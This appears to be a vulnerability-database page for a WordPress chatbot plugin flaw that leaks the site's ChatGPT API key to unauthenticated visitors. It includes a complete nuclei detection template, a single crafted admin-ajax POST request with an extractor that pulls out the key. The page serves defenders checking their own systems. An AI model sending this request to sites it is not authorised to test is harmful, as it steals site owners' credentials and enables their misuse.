Browse / CVEs / CVE-2025-62039
CVE-2025-62039
AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure
highseverity
1.3%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it
AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.
Impact
Attackers can retrieve embedded sensitive information, potentially leading to data leakage and privacy violations.
Fix
Update to the latest version beyond 2.6.6.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "success\":true") and contains(body, "api_key") and status_code == 200 and contains(content_type, "application/json")Run it with nuclei: nuclei -id CVE-2025-62039 -u <target>
The full check
id: CVE-2025-62039
info:
name: AI ChatBot with ChatGPT by AYS <= 2.6.6 - Unauthenticated API Key Exposure
author: pussycat0x
severity: high
description: |
AYS AI ChatBot with ChatGPT and Content Generator <= 2.6.6 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve sensitive information, exploit requires crafted input.
impact: Attackers can retrieve embedded sensitive information, potentially leading to data leakage and privacy violations.
remediation: Update to the latest version beyond 2.6.6.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ays-chatgpt-assistant/ai-chatbot-with-chatgpt-and-content-generator-by-ays-266-unauthenticated-information-exposure
metadata:
verified: true
max-request: 1
tags: cve,cve2025,wordpress,wp-plugin,ays-chatgpt-assistant
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=ays_chatgpt_admin_ajax&function=get_chatgpt_api_key
matchers:
- type: dsl
dsl:
- 'contains(body, "success\":true")'
- 'contains(body, "api_key")'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
extractors:
- type: json
name: api_key
json:
- '.data.api_key'References
Use this check only on systems you are authorised to test. Where the data comes from